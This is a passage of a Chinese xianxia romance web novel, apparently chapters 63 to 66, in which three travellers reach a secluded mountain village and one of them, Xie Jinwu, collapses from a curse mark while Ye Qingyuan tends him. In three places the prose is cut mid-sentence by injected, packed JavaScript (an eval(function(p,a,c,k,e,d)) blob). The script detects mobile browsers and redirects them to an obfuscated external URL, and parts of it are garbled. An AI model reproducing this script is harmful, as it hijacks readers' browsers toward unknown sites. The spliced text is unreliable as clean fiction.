白璟忍笑忍得很辛苦,没想到堂兄谈起情来,竟比他还幼稚几分。 要知道,若非他近几年来总牛皮糖似的缠着谢尽芜历练,谢尽芜根本不会和他讲半个字,更不会与他身后的渡亡世家有任何往来。 他像个游荡在世间的孤魂野鬼,冷心且冷情,也不知是活个什么劲儿。 叶清圆的余光里,谢尽芜正一瞬不转地看着自己。 她的眉梢眼角犹带笑意,下意识地转头和他对视,两人视线相碰一瞬,随即错开。 谢尽芜很快就垂下眼帘,避开了她含笑的目光。 这是又怎么了? 长街骤雨初歇,唯有廊檐、树枝上积存的雨水滑落,砸在地面的水洼里,发出碎玉般的清脆声。 一顿饭结束,三人商议着渡河北上,在冽雪山谷附近暂居。 “这条河流我提前探查过,汛期早过去了,水流不算湍急,但水很深。” 白璟提前两天就到了,闲来无事将周遭的地域情况摸索了个遍:“镇子的北边有打渔的人家,我们可以借他的船,半个时辰就能渡过去。” 按照原著的描述,河流的北边没有村镇、荒无人烟,唯有几处早已被人废弃的旧院子。 冽雪山谷的封印阵法威力巨大,唯有小寒过后,封印才会松动三分。也就是说,他们要在那里住上将近两个月,才能等到进入山谷的时机。 谢尽芜抬眼道:“山谷外的村庄,是否还有人居住?” “唯有一处许家庄,是做了多年的皮货和草药生意,不肯迁出冽雪山谷。”白璟如实道,“我已打听过,那许家庄常年居于深山,从不与外界交流,就连这镇上的百姓都很少见到他们。” 他压低声音:“而且,这里的百姓,都说许家庄的人是修行者。” 亦有道理。冽雪山谷多年前就因为地气失衡、妖魔泛滥而引得世家联合出手镇压,之后村镇百姓集体外迁,冽雪山谷荒芜十几年。那种妖气残存的地方,除了修行者,还有什么人敢在那里居住? 不过,任凭百姓如何猜测,终究得去亲自一观。 长街雨停,稀薄泛冷的日光泼洒在青石砖道,风中依旧有寒意。 三人付了账,掀帘出去。 白璟笑道:“话说回来,这冽雪山谷究竟如何,我还从未亲眼见过呢。此次……” 他话音落下,面馆里骤然传来好一声脆响。 那面馆老板来收拾碗筷餐盘,竟是手都不稳了,瓷碗与盘子撞在一起,发出好大的声响。 那清脆的响声如惊雷般炸开在这本就安静的面馆,白璟吓了一跳:“怎么了?” 老板慌张得几乎不敢与他对视,结巴道:“没、没什么。手滑了一下,抱歉。” 他的眼神躲闪,匆忙将桌子收拾干净后,头也不回地跑到了后厨,唯恐对他们避之不及一般。 叶清圆与谢尽芜对视一眼。 谢尽芜淡声问白璟:“你这两日,可在城镇中发现什么奇怪的地方?” “没有哇,”白璟也是一脸茫然,“只是听我提起冽雪山谷的时候,大家好像很意外,除此之外再没别的了。” 谢尽芜也不怎么在意这些,总归冽雪山谷是非去不可的。他颔首:“那就走吧。” - 河水漫漫,白雾茫茫。 小船在滚滚江河中漂浮,宛如一片飘零的落叶,虽渺小,却行驶得很是平稳。 越往河心行驶,雾气愈发浓重,肉眼的可视范围甚至不足两丈。谢尽芜和白璟站在船头,随时注意着周遭河面的情况。 叶清圆独自坐在船舱内,帘子垂下,遮住了外头的情景。 与她一起的,还有白璟的那两名侍从。 稍显寂静的船舱内,唯有她自己的呼吸声。 不远处那两位“侍从”老实巴交地坐着,神情木讷,颊边有印,怀中各自抱着一个大大的包裹。她不太敢转身看,这船身晃晃悠悠,她又晕得有些想吐,干脆将帘子挑开一道缝隙,让河面清凉的风吹进来,脑袋靠在舱壁上暂且闭目养神。 掌船的渔夫是一名肤色黝黑的中年男子,他手中撑着一根竹竿,竹竿并非绿竹,而是泛出润泽的玉白色。 “我在这条河里打渔十几年,还是头一次遇到有人要往北边山谷里去呢。”渔夫笑道,“这河太险,寻常人都不肯渡河的,也就我敢拼上这么一拼了。” 叶清圆靠坐在船舱里,温声笑道:“如此说来,还属您打渔的技术最好啦?” 那渔夫得了叶清圆的夸,顿时更卖力起来: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14567135|154043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “姑娘过奖,只不过比旁人多吃了十几年的饭而已,不敢说什么好不好的。” 话虽这样说,可脸上还是笑开了花。 谢尽芜原本负手站在船头,闻言便转过身来,低眉望着叶清圆。 水雾浓重,模糊了她清秀温婉的眉目。她的脸颊轮廓愈发显得朦胧起来,像是雾里看花,看不真切。 他半蹲下.身与她平视,探寻似的,这次终于如愿以偿地看清了。她的脸色不知为何有些苍白,脸上笑意也勉强,衬得那唇瓣显出一种病恹恹的红。 他握住她微微发凉的手,拇指在她细嫩的手心按揉,倏忽想到了什么:“晕船?” 叶清圆很诚实地点头:“有点。” 她转过脸颊,示意谢尽芜去看船舱内部的两位侍从,随即凑近了他的耳朵,小声道:“也有点害怕。” 谢尽芜的脸色在看到侍从的一瞬间就变得难看起来,他转头冷声道:“白璟!” “在!”白璟本是观察着河面,闻言吓得差点一头栽进河里,慌忙扑过来道,“哥,叶姑娘,怎么了?” 谢尽芜不说话,眼眸里满是冰冷,示意他自己看。 “哎?我只让他们坐下,抱稳了包裹别掉进河里,可没说让他们坐船舱呢!”白璟也有些恼了,“还挺会给自己找地方!那是你们能坐的吗?” “好了,”叶清圆搭着谢尽芜的手从船舱里出来,抿唇笑道,“反正我也有些晕船,就让他们坐着吧,坐船舱确实不会摔进河里。” 白璟又羞又恼,脸颊都有些红。 不怪他反应这么大,渡亡世家的这些所谓“侍从”是否聪敏灵活,都与主人的功体、修为息息相关。若是主人的修为足够高,那么他的侍从也会察言观色,与常人无异;若是修为低的,侍从自然笨手笨脚,只能听懂一些最简单基础的指令。 比如白璟的这两个侍从,只能听懂“坐”、“抱紧包裹”这种话,至于坐在何处、怎么坐,就超出了他们的理解范围。 所以他们才会掀帘子坐在船舱内。因为叶清圆就在舱内坐着,他们不懂变通,但可以模仿。 话说回来,白璟手下的这两个侍从如此笨拙木讷,也确实是他修为不过关,将技能都点在了烹饪一项上。 谢尽芜牵着叶清圆的手,两根手指抵在她的腕部,先是给她输送了些灵力,暂时缓和她的头晕症状,随后动作很轻柔、很谨慎地拢了拢她的披风,免得河面上风冷潮湿,吹得她受了寒气。 “谢尽芜,”叶清圆抬袖去挡他的手,有些无奈,“哪儿就有这么夸张?” 谢尽芜恍若未闻,将她的披风拢得严实,轻声道:“如果难受就告诉我。” 白璟还抱着脑袋蹲在船舱处,全程围观了他这位向来冷漠心狠的堂兄的一系列举动,吓得简直像是活见了鬼,差点没把眼珠子瞪出来。 他此刻的表情,就像是第一次看到那俩蠢才侍从时一样,惊悚、痴呆,难以置信。 周遭寂静,唯有渔夫划船时的清亮水声,以及不知何种禽类鸣叫的嘹亮而悠远的声音。 叶清圆没忘记继续进行任务,嘴甜地捧了两句,将那渔夫逗得开怀不已,这才不经意道:“我瞧您手中那根撑杆很是漂亮,有什么特殊之处吗?” “这个啊,”渔夫笑道,“要说特殊,倒是没看出来什么。只是每次我用这根撑杆时撑船时,河面就会特别平静,半点风浪也没有。” “这么厉害呀,是大伯亲手做的吗?”叶清圆笑意盈盈,“这是什么材质?看起来像玉一样。” “这个……”渔夫的笑意到这里就有些僵住了,“当然不是我亲手所做。实不相瞒,我做打渔生意,偶尔也去对岸的村庄里进些皮货与草药,这来往之间惊险无比,若没有点保障,我怎么敢渡河啊!” 64. 发作 小船靠岸,茫茫河雾中终于露出山下草木山石的轮廓。那渔夫见他们都下了船,忙不迭地撑杆转身就走,眨眼的功夫就隐没在了浓浓河雾中。 按理来讲,他往返渡河已经十几年,不该有这种畏惧的反应。 “他临走的时候……”白璟更觉得莫名其妙,“似乎是看着我们叹了一口气。那眼神,好像我们是去送死一样。” 他挠挠头:“许家庄也只是有些排外,又没什么危险的。他不也和许家庄做了好多年的生意吗?” “不必理会。”谢尽芜抬眼望向周遭。 此处秋意更浓,岸旁荻花盛开。刚下过一场秋雨,迎面而来的风里都裹着萧瑟潮湿之意。 秋风秋雨愁煞人。 岸边青草枯败,却有一条被人为辟出来的小道。道上铺了砖石,花纹清晰可见,磨损细微。 可见走这条路渡河的人并不多。 叶清圆看着谢尽芜殷润乌黑却满含思绪的眼睛,心里闪过一丝隐秘的闷痛。 这冽雪山谷里终年不化的积雪下葬满了谢氏族人的骸骨血肉。数百族人一夜被灭的痛楚,他是否也心有所感? 谢尽芜察觉到她的目光,紧蹙的眉勉强舒展开来。 他偏过脸,唇边露出一个堪称温柔的笑:“走吧。” 砖石铺得敷衍,踩上去并不稳当,底下积存了雨水之后砖缝里还会呲水。白璟是个急性子,几息的功夫就走出老远,袍角溅得一片脏污,不由哀嚎道:“这什么技术!要是我的手底下人干出这种活,早就拉出去五雷轰顶了!” 两名侍从背着包裹紧跟在他身后,见他停下,也立刻跟着停下了,木讷的脸上满是茫然与呆笨。 白璟道:“没说你们!” 谢尽芜牵住叶清圆的手,轻声问:“用不用我背你?” “不用,我自己可以走。”叶清圆提着裙角,谨慎地低头看路。 谢尽芜想了想:“抱着呢?像上次那样。” 上次那样? 哪样? 谢尽芜看她不太明白,于是好心地提醒:“千花河畔,你喝醉那一回。” 叶清圆的耳尖蓦地泛红,小声道:“也不必!你只管向前走就好了,我会自己看着的!” 谢尽芜眨了眨眼,冷静地“嗯”了一声。转过身后,唇角弯起一个微不可察的弧度。 白璟在前头和那两个侍从生闷气,回首一望,他那位冷如冰霜的堂兄就这么牵着叶姑娘的手,眉眼温和地沿阶上来了。 她的衣袖轻柔如雾,缠缠绕绕地遮住了两只相握的手,袖摆拂在了谢尽芜的手腕上。 白璟顿觉羞赧,连忙将脸扭过去,两名侍从啪地被他拍到一边。 他加快了脚步,自己跑到前头去探路。 越往山道里走,道旁的草木愈发繁盛。从最初的枯草、灌木丛,慢慢地变成了殷红似火的枫树。 谢尽芜的呼吸声有些不稳。 叶清圆的指腹不经意地按在了他的腕脉,察觉到那急促狂乱的跳动,顿时吃了一惊。 谢尽芜此刻的脸色竟苍白如纸,他的眉心蹙着,薄唇也抿成一线,似乎在极力压抑着什么,按在她手腕处的指尖竟也发出细微的颤抖。 “谢尽芜?”叶清圆看他的邪印又有发作的迹象,提议道,“不如我们停下来歇息一会儿?” 不远处山道旁有一座简陋的八角亭,尚且可以遮风避雨。叶清圆抱着他的手臂,艰难地将他扶到亭子里的长凳上,探手摸了摸他布满冷汗的冰凉脸颊。 静坐了片刻,钻心蚀骨的痛楚却愈发强烈。谢尽芜痛到连话都说不出了,鬓角冷汗氤氲,她的细嫩微热的手指还点在他已经生出玄色鳞片的脸颊上,每次的触碰,只会带来愈发难捱的痛苦。 他难耐地轻哼一声,支撑不住似的低下头,将脸埋在了叶清圆的颈边。 叶清圆实在是不忍心看他难受成这副模样,双手捧起他的脸颊,轻声道:“谢尽芜,我求你别硬撑了!你告诉我,到底怎么样才可以帮到你呢?” 他的脸色苍白,乌浓的长睫被汗水浸染,薄唇却被咬得发红。兴许是实在难以忍受了,谢尽芜微阖着眼帘,语声轻若耳语:“你……陪着我就好。” 什么时候了还说这些! 叶清圆气得差点一巴掌拍在他手上。 刚要再问谢尽芜,这人眼眸一阖,头一栽,整张脸都埋在了她的脖颈。 ——竟是硬生生痛晕了过去。 叶清圆无言以对,无奈地叹了一口气。 这就是嘴硬的代价吧。 不过谢尽芜这次邪印发作起来,反应竟然特别强烈。 她抬眼望向红枫掩映的冽雪山巅:难道与这里的阵法也有关吗? 那边白璟走了半天都没看见他们跟上,纳闷不已。他命令两个侍从在原地待着不动,自己一路蹦跳着又沿原路返回。 枫叶上积存的雨水滑落,砸在八角亭的廊檐瓦片上,发出清脆的声响。 白璟隔得老远就瞧见两道身影紧挨着坐在一起,还以为他们二人在谈情,脚步不由顿了一下。 叶清圆很快发现了他,唤道:“白璟?” “哎!”白璟刚开始还有些扭捏,不太好现身。他绕过亭柱,一眼就看到了昏迷过去的谢尽芜,眼睛顿时瞪得溜圆,“哥?你怎么了?” 叶清圆有些吃力地撑扶着谢尽芜,焦急道:“他晕倒了,你的办法多,快来看看该怎么办。” 白璟也是惊诧,他走过来探了探谢尽芜的灵脉,沉思道:“他的灵力快要衰竭了,需要渡灵。” “怎么渡?”叶清圆自穿越以来就只学了画符,画符时如何点灵她倒是熟悉,可若是将灵力渡给旁人,她却不懂得诀窍。 “叶姑娘放心,我来。” 白璟将手指按在谢尽芜的手腕内侧,垂眸一瞬,一缕极细的淡金色灵光便渡进谢尽芜的体内。 可是,谢尽芜的眉头蹙得却更紧了。他的灵力似乎是起了反作用。 “看来只有我的灵力才有用。” 叶清圆沉思,随后她抬起眸,眼眸纯澈如静水,含着期冀:“白璟,你教我该如何渡灵吧。” 她补充道:“我的体内有一只本命珠,可以帮助他缓解痛楚。” “那只本命珠在你身上?!怪不得……” 怪不得谢尽芜写信说不许渡亡世家再追查本命珠的下落。 白璟大感震惊,然而眼下情况紧急,他还是坐在了石墩上,讲起渡灵的要诀来。 这一法门与寻常修行者输送灵力之法不甚相同。就像渡亡世家以引魂铃引渡亡魂一样,渡灵术耗费的乃是最纯粹的心力。若有渡亡世家的内门心法,还可细水长流,可像叶清圆这样对修炼一知半解的人,稍一不慎,就有可能心力衰竭而亡。 也难怪无论她怎么讲,谢尽芜都不肯告诉她该如何为他止痛。 叶清圆的脸颊贴住了他冷汗氤氲的额头,心中一阵酸涩。 “总之,我只能给叶姑娘讲到这种程度,再深下去,就是违反门规了。”白璟低声,湿漉漉的眼睛里藏着担忧,“叶姑娘谨记,渡灵之术只要使用,必会伤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14597241|154043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神。” 叶清圆颔首:“好,我记住了。” 她拉过谢尽芜的手,思索着白璟说过的方法,闭目凝心,默念法诀,指尖簇地燃起一点温润灵光。 这灵光微弱无比,指腹却传来烈火灼烧般的灼痛感,她将手指轻按在谢尽芜的手腕处,灵力涓涓,流淌进他躁动狂乱的灵脉中。 他待人冷漠疏离,头发倒是出奇地柔软,发梢扫在叶清圆裸.露在外的脖颈,有些细微的痒意。 他的气息紊乱,带着滚烫的热度,扑在她的肩膀上。 与此同时,叶清圆的心头骤然传来一阵闷痛。 她皱着眉笑了笑。这渡灵的诀窍怎么可能被她短时间内学会,此刻能掌握个两三成也很不错了。 可她明知这术法会耗费心神,此时也顾不得这许多。 白璟讶然地看着陷入昏迷的谢尽芜,小声道:“他这是怎么了?为何会晕倒啊?” “邪印,”叶清圆简短将情况说了说,旋即问道,“还有什么办法可以渡灵吗?这样太慢了。” 谢尽芜早已习惯于和这种钻心彻骨的痛楚共处,可这并不代表着,他就应该忍受这种痛苦。 谁知一抬眸,白璟的脸色倏忽爆红。 叶清圆不明所以:“怎么了?” “有是有,”白璟低着头,皙白的手指勾缠着腰带悬垂的玉穗,“就是,渡灵嘛,这股灵气若从灵脉入也是好的,若从口入……更好。” 叶清圆迟钝地思索一瞬,脸颊亦是染上薄红。 这种办法,也难怪谢尽芜不肯讲! 半盏茶过去,谢尽芜的脸色总算好了些,紧蹙的眉心舒展开来。 他出了些薄汗,身上那种清新冷凝的气息愈发扩散开来,与雨后枫林的清冷味道萦绕在一起,说不清哪个更好闻了。 廊檐的一滴雨水落在指尖,微微的凉意。谢尽芜隐约嗅到一阵清甜的花香,他睁开眼,视野中赫然是她雪白的脖颈。 他惊得瞬间直起身,湿润殷黑的眼睛睁大,讶然地望着叶清圆。 “醒啦?”叶清圆抬手,用手帕给他擦了擦额前的冷汗,琥珀色的眸中满是担忧,“还难受吗?” 谢尽芜平复着胸腔中剧烈的心跳。他的四肢百骸还残存着痛楚过后的酸麻之意,却不提,只道:“我方才昏倒了?” 白璟坐在圆石墩上,同样是一脸担心与不解:“哥,你刚才好像是痛晕了。” 痛晕了? “不对。这点痛算不得什么,不至于失去意识。” 谢尽芜的视线放远,眼望着那山巅的皑皑白雪,猜测道:“我身上的邪印,似乎与冽雪山谷的阵法有关。” 叶清圆望着他的眼睛,心中不知是何等滋味。 “什么?!”白璟惊叫道,“这地方的阵法果真邪性!我就说,渡真世家那群老东西设下的阵法,能是什么好东西么!” 他撅着嘴巴,一双眼瞪得溜圆,言语中对渡真世家好像颇为不满:“我平日里最讨厌渡真世家那帮人了,傲慢又无礼,还特别喜欢多管闲事!上次我偷偷溜出家门玩的事情,就是他们家主顾九枝告诉我爹爹的。” 明白了,白璟与渡真世家是有私仇。 叶清圆忍不住笑,片刻后,目光落在谢尽芜的侧脸。 他骨相优越,眉骨高、鼻梁挺直,轮廓深刻且清俊。 侧脸有一道浅红的压痕,印在他下颌骨的位置上,雪白的肌肤上平白显出几分旖旎来。 她收回目光,脸颊不可抑制地有些燥热,心想:是她的领缘留下的吗? 65. 暗爽 谢尽芜转过脸来,一双朗若星河的殷润眼瞳,直直地望着叶清圆。 他其实猜到叶清圆做了什么,却只恨自己无能为力。浓秀的犹带湿润的眼睫垂下,他的神情几分落寞:“以后不许再这样。” 叶清圆看着他那副脆弱却强撑的模样,越看越气。 不准再怎样?不准再管他,眼睁睁地看着他被邪印折磨晕吗? 她忽然双手捧住他的脸,手心用力将他的脸颊挤得微微变形,同时恶狠狠道:“你才是不许这样!每次都自己强忍着,忍到脸色都白了也不让人帮你,你觉得这样很对吗?显得你自己特别伟大,特别高尚吗?!” 谢尽芜本来心里柔情似水,却猝不及防被她骂了一通,惊得眼都睁大了。 “人活在这世上,谁能孤零零地过一辈子?还不是今日你帮我,明日我也助你?或许真有人只凭自己就事事周全,可是那样难道就不辛苦吗?” 她的手心贴在他的面颊,琥珀色的眼眸中闪着湿润的光:“谢尽芜,难道你就想这么负累不堪地活下去吗?” 谢尽芜生平头一次被人这样肆无忌惮地训话,可是心里一点怒意却没有,反而那些枯燥干涸已久的沟壑慢慢地被甜意填满了。 他出神地望着她的眼睛,心想:叶清圆是没有真的在发火的。她的语气故作凶狠,可是眼里流露出来的却是怜惜。 这种怜惜,让他产生一种被珍视、被特殊对待的感觉。 一种奇异的兴奋充塞了他的心口—— 他是特别的。 秋风吹动枫叶,簌簌作响。 谢尽芜的一颗心蓦地柔软起来,耳畔传来咚咚的声音,不知是谁的心跳。他的目光在她面上停顿片刻,羞赧似的又垂下眼睫,只唇畔露出一个极浅的笑。 “还笑!嘴巴都被自己咬伤了。这么疼还要忍着,干脆疼死你算了。” 嘴上在骂,可叶清圆心里的酸涩却止不住鼓胀起来,她的指腹很轻地触了触谢尽芜的唇角,小声哼道,“回头记得上药!” 谢尽芜唇角微勾,心下暗爽:“好。” - 沿着山道走了将近两个时辰,那低矮的灌木丛终于稀疏了些。绕过一块被荒草与泥土埋没的石碑后,眼前视野蓦地开阔,一片漫如云霞的红枫林骤然轰烈地烧了过来。 此时将近黄昏,雨后的天际晚霞殷红如血,树顶、草丛甚至远处的湖面与山巅都被镀上了一层红光。三人站在红枫林下,抬眼望着这烈火般的残阳,一时怔怔然说不出话来。 白璟喃喃道:“真美啊。” 对面的山峰覆盖了一层皑皑积雪,清透莹润的雪上盈满了霞光,宛如美人含羞带怯。 那被灌木丛遮掩住的青石碑上写了三个字:“许家庄。” 远远望去,这红枫林掩映的后面,地势稍稍高耸之处隐约现出房屋宅院的轮廓。夕阳在檐角一寸寸倾斜、黯淡,廊檐下悬挂的红灯笼被依次点亮。 夜幕降临了。 从石碑处远观的时候,许家庄并不如何远。可山路崎岖,终究是绕了好大一会儿才到。 此刻晚霞散尽,深邃的幽蓝色逐渐浮上天空。 明红的光亮从灯笼圈口处溢出来,照亮了他们脚下的这条碎石子小路。 “许家庄在这山谷中隐居多年,除了卖皮货、草药之外,从不与外面的人有联系,想必庄内也不会有客栈了。”叶清圆想了想,“我们还是先找个地方住,再把晚饭解决了。” 谢尽芜颔首道:“这么大的庄子,该有闲置的宅院。” 白璟走在最前头,他相貌生得好,又是个活泼的少年性子,路上看到人就笑嘻嘻地与人打招呼,可惜许家庄“排外”之名并非空穴来风,他热情似火地贴上去,人家只是回他一个防备的眼神。 三人沿着村里的碎石小径走了好久,总算碰到了一位慈眉善目的老婆婆。 那老婆婆穿一身粗布衣裳,正坐在门廊下的小板凳上喝稀饭,见他们一路奔波过来,惊讶片刻后,不由微笑道:“三位衣饰清贵,可是修行之人?” “是啊!”白璟只答她所问,并不多讲,“请问老婆婆,这附近可有住宿的地方呢?” “有,不过地方很偏僻,好多年都没人居住过啦。”老婆婆抬手指向碎石路的尽头,“最北边的那座宅院就是,宅主是酒馆前的那个小姑娘,喏,扎羊角辫的那个就是。” 三人谢过老婆婆,朝着那灯火通明的茶堂行去。 白璟有些摸不着头脑:“许家庄封闭多年,这老婆婆怎么还认得出我们是修行之人呢?” 叶清圆思索道:“冽雪山谷不是有封印吗?或许是渡真世家之人来此的时候,与这位老婆婆有过来往。” “这样也解释得通。”白璟点点头。 那酒馆前的姑娘名叫许雁含,约莫十四岁的年纪,生得浓眉大眼、面色红润,脸上洋溢着热情开朗的笑容,是大山里自在生长的姑娘。 她在前头带路,话语热情却不失分寸,介绍着沿途的茶堂、商铺与酒馆。许家庄虽远在深山,却样样物件、设施都齐全。那酒馆内此刻还热闹着,昏黄的光透过窗纸泼洒在小径,此起彼伏的笑闹声隐没在呼啸的山风中。 “到啦,就是这里。” 宅院确实偏僻,偏得百步内都没什么人家。院墙后头长满了森森古松,廊檐下灯笼并未点燃,黢黑一片。 许雁含手中提着一盏竹编灯笼。灯笼有些年头了,竹柄、圈口的位置都有不同程度的磨损。 “这座院子名为晴雪院,虽然许久没人居住,可是我闲来无事就会清扫一番。墙角的花树也都修剪过。”她推开宅院的大门,一股清新的草木味道迎面而来。 庭院很干净,格局布置也颇具江南宅院的雅韵。廊檐下悬系了风铃,墙角摆了花盆。绕过照壁之后便是一株好大的红梅树,看起来约莫有十年树龄了,枝干虬曲,枝叶葱翠,若是冬日绽放,必定是好一番热烈磅礴的美。 叶清圆含笑道:“这庭院的布置很好,想不到姑娘小小年纪就具备如此眼光。” 许雁含笑笑,不答,似有所顾忌。 她抬手向西一指,简短道:“那里单独辟出了一方小院,虽小了些,却什么都有了。姑娘若是怕黑,檐下有灯,屋内有烛。” 三人道谢。许雁含收了银锭,快快乐乐地提着竹编灯笼关门离开。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14612477|154043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白璟吩咐两名侍从去收拾厨房,琢磨着今晚要做点什么菜。 院子里立了几根灯柱,灯罩皆是红梅枝的样式,谢尽芜将蜡烛点好放进去,庭院里逐渐灯火通明。 他站在灯座前,目光落在描了梅枝的灯罩上,乌亮的眼眸中蓦地闪过一丝疑惑。 叶清圆借着光亮去了那方小院,将支摘窗支起来通风。山里晚风清新,夜幕澄澈,天际一丝云翳也无。 她坐在妆台前,望着镜中昏黄朦胧的人影,敲了敲系统:“我想知道江云初和许明竹的近况。” 系统迟钝了一瞬:“疗伤。” ……果真如此。 叶清圆颇感头疼。 有了她的参与,谢尽芜确实没有按照原著的走向,对江、许二人痛下杀手,之后彻底黑化。 可出手的是顾雪庭,他那一掌打下去,造成的后果也不堪设想。 况且,谢尽芜和顾雪庭现在可以说是合作关系。顾雪庭替谢尽芜解决了那两人,那么谢尽芜会做什么来巩固他们的合作? 思及至此,她又问:“顾雪庭呢?” 这次系统没有一秒犹疑,立刻给了回复:“已上悬赏令,最高通缉。” 永安江氏虽也有百年根基,但在修行界也称不上庞然大物。顾雪庭打伤他们的少主,在外人眼中说破天也就是个私仇,何至于直接上了修行界的最高通缉? 归根结底,还是顾雪庭的举动,触动了某些人深埋已久的秘密罢了。 而且这桩事,渡真世家也绝不会出手,顾雪庭本来就是被族中长老联合驱逐的罪徒,他们为了族中清誉不落井下石就是高抬贵手了,怎么可能再去保他? 也不知顾雪庭现在什么情况,他和谢尽芜还有没有联系。 他们住在这与世隔绝的许家庄,以后就基本收不到修行界的消息了。想想竟还有些不太习惯。 一阵菜香从窗子外飘来。 白璟做饭是真有劲儿,铁铲哐哐作响,树梢栖息的乌鸦都被他吵得扑簌着翅膀。 叶清圆很快地换了身新衣裳,洗漱过后推门出院,去了厨房。 路过庭院的时候,谢尽芜坐在那株丈余高的红梅树下写符。灯影迷离,梅枝虬曲,随山风轻晃,在他的衣摆、袖口投下朦胧摇曳的痕迹。 叶清圆走过去低眸看了一眼,都是些防身、护宅之类的符。可他下笔娴熟,画如游龙,这符也隐隐生光,灵机四溢,与旁人作的符相比,简直有云泥之别。 她压下心中的疑惑,柔声笑道:“谢尽芜,这里的灯太暗了,我们去厨房看一看吧?” 谢尽芜搁下笔,用镇纸压住那一叠画好的符。他站起身,皙白的脸颊被灯罩里的光漾出一层淡淡的水红,殷黑的眼眸里恍惚满是暖意。 叶清圆的目光不自觉地落在他唇上的咬痕,那痕迹微微渗出了血,红得深刻。 她的眼神躲闪,小声道:“待会不要吃辣。” 谢尽芜偏过脸看她:“为什么?” 她抬手指了指自己的唇角,向他解释:“会很痛的。” 说罢,率先掀帘进了屋。 谢尽芜颔首,若有所思:“嗯,好。” 66. 亲吻 “山里种的青菜和蘑菇果真清脆好吃,就连煮出来的粥都是香的。” 白璟将热腾腾的饭菜端上桌,脸上还有些湿润的热气。 前厅的灯烛俱被点燃,直棱槛窗下摆着几盆兰花。皎洁清辉透过窗纸照进来,在莲花纹的地砖上投下一层清浅的影子。 白璟吃饭时也忍不住讲话玩闹。他是那种自小被纵容娇惯的子弟,讲究且随性,眼睛亮晶晶道:“好吃吧,好吃吧?” “很好吃。”叶清圆抿着唇笑,片刻后,还是忍不住提出了心中的疑惑,“只是,冽雪山谷在修行之人眼中都是危险至极,为何你会……” “为何我会来吗?”白璟放下碗筷,很认真地想了想,笑道,“因为我离家出走、无处可归了啊!” 叶清圆挑起眉,讶异道:“离家出走?” “若我不趁夜逃出来,父亲就会逼着我学那些渡魂的术法,逼着我去继承家族事业了!” 叶清圆夹了一筷子豆腐,送入口中慢慢咀嚼着,同时脸上露出了礼貌客套的微笑。 她抬眸去看谢尽芜,发现谢尽芜此时也露出颇为无奈的神情。 白璟收敛了脸上笑容,眼中露出一种近乎执著的认真:“父亲指派了好多长老来教导我,说势必要将我培养成那种堪当大任的家族继承人。可我早已不是小孩子,我需要的是成长、历练,而不是保护。” 叶清圆听得饶有兴味,眼中赞赏的笑意如流水般漫开。 少年心志可凌云。 白璟朗声道:“所以我给哥写信,求他一定带我来冽雪山谷。我就是要向父亲证明,我白璟,不需要渡亡世家的保护一样可以闯出名头!” 叶清圆也放下筷子,笑道:“好,很有个性。” “叶姑娘!”白璟感动涕零,“实不相瞒,我第一次见到叶姑娘,就知道你必会懂我!果不其然——” 谢尽芜被他们吵得耳朵都快聋了,皱眉提醒道:“食不言。” 白璟乍然收声,抬手在颊边作掩口状,小小声道:“果不其然,知我者,叶姑娘也。” 他转过头,对着谢尽芜憨笑:“可以言,我小声言就是了,哥。” 谢尽芜垂眸敛眉,满脸无可奈何的薄怒。 叶清圆快要被他笑倒。 她清脆的笑声漾开在这花厅里,霎时给这座久无人居住的宅院添了许多生气。 白璟还算乖巧地压低了声音,喋喋不休地讲他的修炼、苦恼和所有事。叶清圆就当是在听故事,有一搭没一搭地附和,时不时被他逗笑。 饭桌上的氛围竟出奇地温暖融洽,烛光也暖,汤羹的香味弥漫蒸腾。谢尽芜端坐在这吵嚷的环境中,脸色沉静如冰雪,一颗心逐渐柔软下来。 他抬起眸,目光几乎是不自控地要往叶清圆那里去。 她或许是有些疲累,眼睫下竟隐约地现出了乌青。可饶是如此,她笑时依旧明亮温柔,微弯的唇角,皙白的脸颊,那双琥珀的眼眸还是漂亮得叫人移不开眼。 只是看着,他的心跳便失控起来。 他想,他是很喜欢叶清圆的。眼睛没办法骗人,这是不可控的事实。 吵吵闹闹地总算将一顿饭吃完了。叶清圆挽起袖子收拾碗筷,白璟则是提着灯笼去了街上,想去那酒馆看看热闹。 谢尽芜恍惚地被叶清圆拉进了厨房,两人分工,半盏茶的功夫就将碗筷灶台收拾干净。 庭院里起了风,红梅枝被风拂得簌簌作响。 谢尽芜坐在树下的石桌旁,提笔继续画符。 叶清圆在院子里逛了一圈,将竹藤椅搬来在谢尽芜的对面,而后她挑了一包蜜饯拆开,就这么头顶澄澈星幕地歪倒下来。 谢尽芜依旧垂着眼帘,凝神静心,提笔画符。 庭院里的灯光不算很亮,朦胧隐约地照过来。 